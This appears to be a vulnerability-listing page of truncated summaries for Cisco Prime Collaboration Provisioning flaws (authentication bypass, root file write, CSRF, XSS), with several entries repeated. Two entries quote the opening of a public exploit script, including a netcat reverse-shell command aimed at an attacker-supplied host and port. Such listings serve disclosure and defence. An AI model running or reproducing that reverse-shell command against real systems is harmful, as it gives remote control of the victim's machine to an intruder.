Cisco Releases Security Updates

Cisco has released updates to address vulnerabilities affecting multiple products. A remote attacker could exploit some of these vulnerabilities to take control of an affected system. US-CERT encourages users and administrators to review the following Cisco Security Advisories and apply the...

Cisco Prime Collaboration Provisioning ScriptMgr HEAD request vulnerability

Added: 10/25/2017 CVE: CVE-2017-6622 BID: 98520 Background The Cisco Prime Collaboration product family facilitates installation and maintenance of Cisco Unified Communications and Cisco TelePresence components, as well as the provisioning of users and services. Problem Missing security constrain...

Cisco Prime Collaboration Provisioning ScriptMgr HEAD request vulnerability

Added: 10/25/2017 CVE: CVE-2017-6622 BID: 98520 Background The Cisco Prime Collaboration product family facilitates installation and maintenance of Cisco Unified Communications and Cisco TelePresence components, as well as the provisioning of users and services. Problem Missing security constrain...

Cisco Prime Collaboration Provisioning ScriptMgr HEAD request vulnerability

Added: 10/25/2017 CVE: CVE-2017-6622 BID: 98520 Background The Cisco Prime Collaboration product family facilitates installation and maintenance of Cisco Unified Communications and Cisco TelePresence components, as well as the provisioning of users and services. Problem Missing security constrain...

The vulnerability of the web interface of the content management software in the Prime Collaboration Provisioning network allows a perpetrator to bypass authentication procedures and execute arbitrary commands.

The vulnerability of the web interface of the content management software in the Prime Collaboration Provisioning network is related to deficiencies in access control the absence of security restrictions. Exploiting this vulnerability could allow a malicious actor to bypass authentication...

Cisco Prime Collaboration Provisioning Authentication Bypass / Code Execution

Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc $ATTACKER $PORT /tmp/f"...

Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution Exp

Exploit for hardware platform in category remote exploits Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat...

Cisco Prime Collaboration Provisioning Tool Information Disclosure Vulnerability

Cisco Prime Collaboration Provisioning Tool is a set of Web-based, next-generation communications services tools from Cisco. The tool provides IP communication services capabilities for IP telephony, voice mail and unified communications environments. An information disclosure vulnerability exist...

Cisco Prime Collaboration Provisioning Tool System File Overwrite Vulnerability

A vulnerability in the batch provisioning feature in Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to overwrite system files as root. The vulnerability is due to lack of input validation of the parameters in BatchFileName and Directory. An attacker coul...

Cisco Prime Collaboration Provisioning Tool Inventory Management Feature Information Disclosure Vulnerability

A vulnerability in the Inventory Management feature of Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to view sensitive information on the system. The vulnerability is due to insufficient protection of restricted information. An attacker could exploit th...

Cisco Prime Collaboration Provisioning Tool Arbitrary File Write Vulnerability

Cisco Prime Collaboration Provisioning Tool is a set of Web-based, next-generation communications services tools from Cisco. The tool provides IP communication services capabilities for IP telephony, voice mail, and unified communications environments. upgradeManager is one of the upgrade manager...

CVE-2017-6759

A vulnerability in the UpgradeManager of the Cisco Prime Collaboration Provisioning Tool 12.1 could allow an authenticated, remote attacker to write arbitrary files as root on the system. The vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by...

CVE-2017-6756

A vulnerability in the Web UI Application of the Cisco Prime Collaboration Provisioning Tool through 12.2 could allow an unauthenticated, remote attacker to execute unwanted actions. The vulnerability is due to a lack of defense against cross-site request forgery CSRF attacks. An attacker could...

Input validation

A vulnerability in the UpgradeManager of the Cisco Prime Collaboration Provisioning Tool 12.1 could allow an authenticated, remote attacker to write arbitrary files as root on the system. The vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by...

CVE-2017-6756

A vulnerability in the Web UI Application of the Cisco Prime Collaboration Provisioning Tool through 12.2 could allow an unauthenticated, remote attacker to execute unwanted actions. The vulnerability is due to a lack of defense against cross-site request forgery CSRF attacks. An attacker could...

CVE-2017-6759

CVE-2017-6759 affects Cisco Prime Collaboration Provisioning Tool (PCPT) 12.1 UpgradeManager. The flaw stems from insufficient input validation in the upgrade package installation functionality, allowing an authenticated, remote attacker to write arbitrary files as root on the system. Documents c...

Cisco Prime Collaboration Provisioning Tool Cross-Site Request Forgery Vulnerability

Cisco Prime Collaboration is a comprehensive video and voice service assurance and management system. A cross-site request forgery vulnerability exists in the Cisco Prime Collaboration Provisioning tool. This allows remote attackers to hijack the authentication of arbitrary user identities...

Cisco Prime Collaboration Provisioning Tool UpgradeManager File Write Vulnerability

A vulnerability in the UpgradeManager of the Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to write arbitrary files as root on the system. The vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by...

Cisco Prime Collaboration Provisioning Tool Cross-Site Scripting Vulnerability

Cisco Prime Collaboration Provisioning Tool is a set of Web-based, next-generation communications services tools from Cisco. A security vulnerability in the Cisco Prime Collaboration Provisioning Tool WEB interface could be exploited by a remote attacker to submit a special request to perform an...

CVE-2017-6755

Cisco Prime Collaboration Provisioning Tool Web Portal is affected by CVE-2017-6755. The vulnerability is a cross-site scripting (XSS) flaw in the PCP web interface caused by insufficient input validation of user-supplied data, allowing an unauthenticated, remote attacker to trigger JavaScript ex...